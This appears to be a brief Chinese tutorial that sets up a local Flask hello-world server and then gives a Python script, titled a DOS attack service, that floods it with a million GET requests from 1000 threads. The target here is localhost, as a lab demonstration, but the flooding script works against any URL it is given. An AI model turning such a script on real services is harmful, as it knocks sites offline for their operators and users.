前言
创建一个以python编写的后端web服务(好观察)
pip install flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return 'hello world'
if __name__ == '__main__':
app.run(debug=True)
python编写DOS攻击服务
pip install requests
import requests
from requests.exceptions import RequestException
import threading
def requestGetOne():
try:
response = requests.get('http://127.0.0.1:5000', timeout=5)
response.raise_for_status()
print(response.text)
except RequestException as e:
print(f'请求出错: {e}')
def print_numbers():
for i in range(1000):
requestGetOne()
if __name__ == "__main__":
threads = []
for i in range(1000):
thread = threading.Thread(target=print_numbers)
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
print("All threads have finished.")